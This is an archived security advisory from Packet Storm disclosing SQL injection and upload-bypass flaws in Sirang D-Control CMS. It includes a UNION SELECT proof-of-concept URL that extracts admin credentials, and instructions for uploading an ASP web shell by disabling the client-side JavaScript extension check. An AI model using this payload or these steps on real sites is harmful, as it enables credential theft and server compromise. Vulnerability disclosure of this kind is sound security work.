exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Month Of Abysssec Undisclosed Bugs - Sirang D-Control

Month Of Abysssec Undisclosed Bugs - Sirang D-Control
Posted Sep 9, 2010
Authored by Abysssec | Site abysssec.com

Month Of Abysssec Undisclosed Bugs - Sirang web-based D-Control versions 6.0 and below suffer from remote SQL injection and upload restriction bypass vulnerabilities.

tags | exploit, remote, web, vulnerability, sql injection
SHA-256 | d4b7b6315e2a6b8e8e7876b47f64969e0e8dcf49c77daaa50aafc62488787211

Month Of Abysssec Undisclosed Bugs - Sirang D-Control

Change Mirror Download
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ < Day 8 (0 day)
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/

'''

- Title : Sirang Web-Based D-Control Multiple Remote Vulnerabilities
- Affected Version : <= v6.0
- Vendor Site : http://www.sirang.com

- Discovery : Abysssec.com



Description :

this CMS suffer from OWASP top 10 !!!
some of there will come here ...

Vulnerabilites :
======================================================================================================================
1- SQL Injection

Vulnerability is located in content.asp

line 131-133
...
txt="select * from news where del='false' and "+keyfld+"!='-' order by id desc limit 1"
set rs=conn.execute(txt)
while not rs.eof
...

content.asp line 202-206
...
if id<>"" then
txt10 ="select * from "+ cstr(tblname) +" where del='false' and id='"+ id +"'"
set xx = conn.execute(txt10)
if not xx.eof then
...

lots of files those will have to do input validation from user input are vulnerable to SQL Injection .

PoC :
www.site.com/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/*
note : if you can't see result you need to do it blindly


======================================================================================================================
2- Bypass uploads restriction:

after you got user/pass with sql injection go to
http://site.com/admin/dc_upload.asp

js file line 13-34 :


function showthumb(file) {
if (file !='') {
myshowfile = file;

extArray = new Array(".gif", ".jpg", ".png", ".bmp", ".jpe");
allowSubmit = false;
while (file.indexOf("\\") != -1)
file = file.slice(file.indexOf("\\") + 1);
ext = file.slice(file.indexOf(".")).toLowerCase();
for (var i = 0; i < extArray.length; i++) {
if (extArray[i] == ext) { allowSubmit = true; break; }
}

if (allowSubmit) thumb.src=myshowfile;
else
alert("Only files that end in types: " + (extArray.join(" ")) + " could be previewd.");
}
else {
alert("Only files that end in types: " + (extArray.join(" ")) + " could be previewd.");
}
}

as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload "ASP" shell.

you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload)

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close